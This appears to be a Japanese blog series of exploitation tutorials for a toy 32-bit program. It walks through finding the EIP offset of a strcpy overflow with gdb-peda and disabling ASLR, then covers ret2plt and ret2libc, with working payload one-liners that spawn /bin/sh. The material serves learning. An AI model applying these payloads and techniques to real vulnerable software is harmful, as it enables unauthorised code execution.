ret2libcをやってみる
ret2pltで関数を実行してみる - メモ代わりでret2pltを使って遊んでみた。
printfでメモリをリークさせるみたいになったのでCTFで出てこないわけでもなさそうだが、どうせならシェルを開きたいものである。
というわけで今回はret2libcでシェルを起動してみる。
ret2libcとは
ret2pltではpltに存在しない関数を呼び出すことはできない。
そこで考えだされたのがlibcにある関数を呼び出す方法『ret2libc』だ。
実行時にlibcが動的にリンクされるのでASLRの影響を受けてしまうが今回は前回、前々回同様にASLRはOFFにしているのでうまくいくだろう。
実際にシェルを開くところまでやってみよう。
必要な情報を集める
ret2libcも呼び出し先がpltからlibcに変わっただけで要領はあまり変わらない。
まずはgdbで開いてstartコマンドを使ってmainの先頭まで走らせよう。
gdb-peda$ start
次にsystem関数がどこにあるか探さなければならないが、これは下記のコマンドで出力できる。
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e4a190 <system>
systemありますねぇ!
ついでにこのsystemがどこにあるか見てみよう。
vmmapコマンドでメモリのレイアウトがわかるので使ってみる。
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /tmp/a.out 0x08049000 0x0804a000 r--p /tmp/a.out 0x0804a000 0x0804b000 rw-p /tmp/a.out 0xf7e09000 0xf7e0a000 rw-p mapped 0xf7e0a000 0xf7fb2000 r-xp /lib/i386-linux-gnu/libc-2.19.so 0xf7fb2000 0xf7fb4000 r--p /lib/i386-linux-gnu/libc-2.19.so 0xf7fb4000 0xf7fb5000 rw-p /lib/i386-linux-gnu/libc-2.19.so 0xf7fb5000 0xf7fb8000 rw-p mapped 0xf7fd6000 0xf7fd8000 rw-p mapped 0xf7fd8000 0xf7fda000 r--p [vvar] 0xf7fda000 0xf7fdc000 r-xp [vdso] 0xf7fdc000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xfffdd000 0xffffe000 rw-p [stack]
これを見ればsystem関数のアドレスである"0xf7e4a190"は"/lib/i386-linux-gnu/libc-2.19.so"にありlibcを読んでいることがハッキリわかるはずだ。
次にsystem関数の引数を探したい。
とりあえずシェルを開ければいいのでそれっぽい文字列を探してみる。
gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f6aa24 ("/bin/sh")
ありました。
ここまでのおさらいをすると
- 22文字以降の文字列がEIPにセットされる
- system関数のアドレスは"0xf7e4a190"
- "/bin/shの文字列"は"0xf7f6aa24"にある
では実行してみよう。
実行してみる
実際のコードはこちら
print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"
ほぼpltの時と一緒だね。
実行してみる。
$ ./a.out $(python -c 'print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"') AAAAAAAAAAAAAAAAAAAAAA����BBBB$�� $
シェルが起動した、やったぜ。
おわりに
ret2pltとあまり変わらないけどシェルを呼べて素晴らしいと思った。
ret2pltで関数を実行してみる
簡単なバッファオーバーフローでEIPを奪う - メモ代わりのプログラムでret2pltをしてみる。
環境は前回と同じ。
ret2pltとは
ret2pltの前にそもそもpltとは何かというと共有ライブラリのアドレスを書くところだ。
詳しくは下記リンクを参照。
ELFの動的リンク(1) - 七誌の開発日記
ret2pltとはEIPに任意のアドレスを書き込めるようになった時、pltにある関数のアドレスを書いたら関数を実行できることを活かしたテクニックのことだ。
実際にやってみよう。
どうすればうまくいくか調べてみる
とりあえずpltに何のアドレスがあるかgdb-pedaで見てみよう。
gdb-peda$ plt Breakpoint 1 at 0x8048380 (__gmon_start__@plt) Breakpoint 2 at 0x80483a0 (__libc_start_main@plt) Breakpoint 3 at 0x8048390 (exit@plt) Breakpoint 4 at 0x8048350 (printf@plt) Breakpoint 5 at 0x8048370 (puts@plt) Breakpoint 6 at 0x8048360 (strcpy@plt)
printfのアドレスがある。
攻撃した時に目で見てわかりやすいのでprintfを使おう。
次にprintfで使う引数に適切なものはどこにあるか見てみよう。
gdb-peda$ pdisas main Dump of assembler code for function main: 0x080484ad <+0>: push ebp 0x080484ae <+1>: mov ebp,esp 0x080484b0 <+3>: and esp,0xfffffff0 0x080484b3 <+6>: sub esp,0x20 0x080484b6 <+9>: cmp DWORD PTR [ebp+0x8],0x2 0x080484ba <+13>: je 0x80484dd <main+48> 0x080484bc <+15>: mov eax,DWORD PTR [ebp+0xc] 0x080484bf <+18>: mov eax,DWORD PTR [eax] 0x080484c1 <+20>: mov DWORD PTR [esp+0x4],eax 0x080484c5 <+24>: mov DWORD PTR [esp],0x80485a0 0x080484cc <+31>: call 0x8048350 <printf@plt> 0x080484d1 <+36>: mov DWORD PTR [esp],0x1 0x080484d8 <+43>: call 0x8048390 <exit@plt> 0x080484dd <+48>: mov eax,DWORD PTR [ebp+0xc] 0x080484e0 <+51>: add eax,0x4 0x080484e3 <+54>: mov eax,DWORD PTR [eax] 0x080484e5 <+56>: mov DWORD PTR [esp+0x4],eax 0x080484e9 <+60>: lea eax,[esp+0x16] 0x080484ed <+64>: mov DWORD PTR [esp],eax 0x080484f0 <+67>: call 0x8048360 <strcpy@plt> 0x080484f5 <+72>: lea eax,[esp+0x16] 0x080484f9 <+76>: mov DWORD PTR [esp],eax 0x080484fc <+79>: call 0x8048370 <puts@plt> 0x08048501 <+84>: mov eax,0x0 0x08048506 <+89>: leave 0x08048507 <+90>: ret End of assembler dump.
printfが呼ばれているところに注目すると文字列の引数っぽいものがある。
0x080484c5 <+24>: mov DWORD PTR [esp],0x80485a0 0x080484cc <+31>: call 0x8048350 <printf@plt>
中身を確認してみよう。
gdb-peda$ x/s 0x80485a0 0x80485a0: "Usage: %s name\n"
うわあ・・・、これは文字列ですね。
しかもコレは引数なしで実行した時しか出てこない文字列なのでテストにぴったり、使ってみよう。
前回も含めてここまでのおさらいをすると
- 22文字以降の文字列がEIPにセットされる
- printf@pltのアドレスは0x8048350
- printfの引数として渡したいアドレスは0x80485a0
では実際に攻撃してみよう。
実行してみる
実際のコードはこちら。
print "A"*22 + "\x50\x83\x04\x08" + "BBBB" + "\xa0\x85\x04\x08"
まず最初に22回"A"を出力する。
次にprintf@pltのアドレスをEIPに入れるために出力する(リトルエンディアンなので逆順で書いた)
次の"BBBB"だがコレには訳がある。
関数を呼び出すときはその関数終了後のリターンアドレスをスタックに積んで置かなければならない。
関数実行時はそれを想定して処理をするので仮のリターンアドレスとして"BBBB"を積み実行時に計算が狂うことがないようにしているのだ。
そして最後に引数として文字列のアドレスを出力している。
実行してみよう。
$ ./a.out $(python -c 'print "A"*22 + "\x50\x83\x04\x08" + "BBBB" + "\xa0\x85\x04\x08"') AAAAAAAAAAAAAAAAAAAAAAP�BBBB�� Usage: �������������������L���`���p��������������������������� ���Z���n�����������&���Z�����������������=���R���i���z��������������������������� ������w��������������%���:���S���g������������������� name Segmentation fault
みたいになったと思う。
nameをprintfで出力したあと"Usage: ~~~~~"が出力されている、うまくいった。
"Usage: "以降に出力されているのは
gdb-peda$ x/s 0x80485a0 0x80485a0: "Usage: %s name\n"
の"%s"で引数を置いてなかったためnameにあたるまで出力したからだと思う。
というわけでret2plt終わり!閉廷!
おわりに
今回はret2pltをやってみた。
今度はもっと高度なことをやってみようと思う。
簡単なバッファオーバーフローでEIPを奪う
EIPを奪うところまでやってみる。
環境
$ uname -a Linux backbox 3.19.0-56-generic #62~14.04.1-Ubuntu SMP Fri Mar 11 11:03:15 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ gcc --version gcc (Ubuntu 4.8.4-2ubuntu1~14.04.1) 4.8.4
gdbはpeda入れて使う。
ASLRをOFF OFF
今回は簡単にやるという方針なのでASLRを切る。
ASLRとはプログラムを実行する際に使用するメモリのアドレスをランダム化する機能で、これにより攻撃者はメモリアドレスの推測が難しくなる。
要はどこに何があるのかわからない状態で攻撃するなんて難しいよねと言った話だ。
$ sudo sysctl -w kernel.randomize_va_space=0
このコマンドを入力するとASLRがオフになる。
終わったら危ないので元に戻そう。
脆弱なプログラムで遊ぶ
コマンドライン引数を受け取ってそれをnameに入れ表示するプログラムだ。
問題は引数に入れる文字列を検査していないこと。
nameはchar 10個分の大きさしかないがそれを超えてコピーできてしまう。
早速10以上の値を与えてどうなるか見てみよう。
と、その前にコンパイルをしなければならないけどStack Smash Protectionという保護機能も切りたいのでコンパイル時にそのオプション"-fno-stack-protector"を付けよう。
$ gcc -m32 -fno-stack-protector geteip.c
これでコンパイルできたはずだ。
64bit環境でコンパイルすると32bit向けのライブラリを入れないとうまくいかないなんて事があるので、その時はエラー文でググろう。
では作ったバイナリをgdbで中身を見てみよう。
$ gdb a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ pdisas main Dump of assembler code for function main: 0x080484ad <+0>: push ebp 0x080484ae <+1>: mov ebp,esp 0x080484b0 <+3>: and esp,0xfffffff0 0x080484b3 <+6>: sub esp,0x20 0x080484b6 <+9>: cmp DWORD PTR [ebp+0x8],0x2 0x080484ba <+13>: je 0x80484dd <main+48> 0x080484bc <+15>: mov eax,DWORD PTR [ebp+0xc] 0x080484bf <+18>: mov eax,DWORD PTR [eax] 0x080484c1 <+20>: mov DWORD PTR [esp+0x4],eax 0x080484c5 <+24>: mov DWORD PTR [esp],0x80485a0 0x080484cc <+31>: call 0x8048350 <printf@plt> 0x080484d1 <+36>: mov DWORD PTR [esp],0x1 0x080484d8 <+43>: call 0x8048390 <exit@plt> 0x080484dd <+48>: mov eax,DWORD PTR [ebp+0xc] 0x080484e0 <+51>: add eax,0x4 0x080484e3 <+54>: mov eax,DWORD PTR [eax] 0x080484e5 <+56>: mov DWORD PTR [esp+0x4],eax 0x080484e9 <+60>: lea eax,[esp+0x16] 0x080484ed <+64>: mov DWORD PTR [esp],eax 0x080484f0 <+67>: call 0x8048360 <strcpy@plt> 0x080484f5 <+72>: lea eax,[esp+0x16] 0x080484f9 <+76>: mov DWORD PTR [esp],eax 0x080484fc <+79>: call 0x8048370 <puts@plt> 0x08048501 <+84>: mov eax,0x0 0x08048506 <+89>: leave 0x08048507 <+90>: ret End of assembler dump.
ん、そうですねって感じ。
とりあえずパターン作って投げてみよう。
gdb-peda$ pattern_arg 200 Set 1 arguments to program gdb-peda$ r Starting program: /tmp/a.out 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA' AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA Program received signal SIGSEGV, Segmentation fault.
落ちたな。
レジスタの中身を見てみよう。
瞬き禁止でご注目。
gdb-peda$ xinfo register EAX: 0x0 EBX: 0xf7fb4000 --> 0x1a9da8 ECX: 0xf7fd5000 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...) EDX: 0xf7fb5898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x2d414143 ('CAA-') ESP: 0xffffd1c0 ("ADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA") EIP: 0x41284141 ('AA(A') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
EIPの値が変わっている。
ここでEIPが拾いにいったアドレスとオーバーフローを起こしたアドレスがどのくらい離れているか見てみる。
gdb-peda$ pattern offset 0x41284141 1093157185 found at offset: 22
どうやら22バイト離れているようだ。
22バイト適当に埋めてその先にアドレスを書けばEIP奪えるみたいなので試しに0xdeadbeefが入るかテストしてみる。
gdb-peda$ set args $(python -c 'print "A"*22 + "\xef\xbe\xad\xde"') gdb-peda$ r Starting program: /tmp/a.out $(python -c 'print "A"*22 + "\xef\xbe\xad\xde"') AAAAAAAAAAAAAAAAAAAAAAᆳ Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xf7fb4000 --> 0x1a9da8 ECX: 0xf7fd5000 ('A' <repeats 22 times>, "ᆳ\336\n") EDX: 0xf7fb5898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x41414141 ('AAAA') ESP: 0xffffd270 --> 0x0 EIP: 0xdeadbeef EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadbeef
EIPの値が0xdeadbeefになっている、うまくいったようだ。
まとめ
今回はEIPの値を書き換えるところまでやった。
本当はもっと先のこととか書いたほうが良さそうだけど、それはまた今度。
使っていて思ったんだけどpeda便利すぎでしょコレ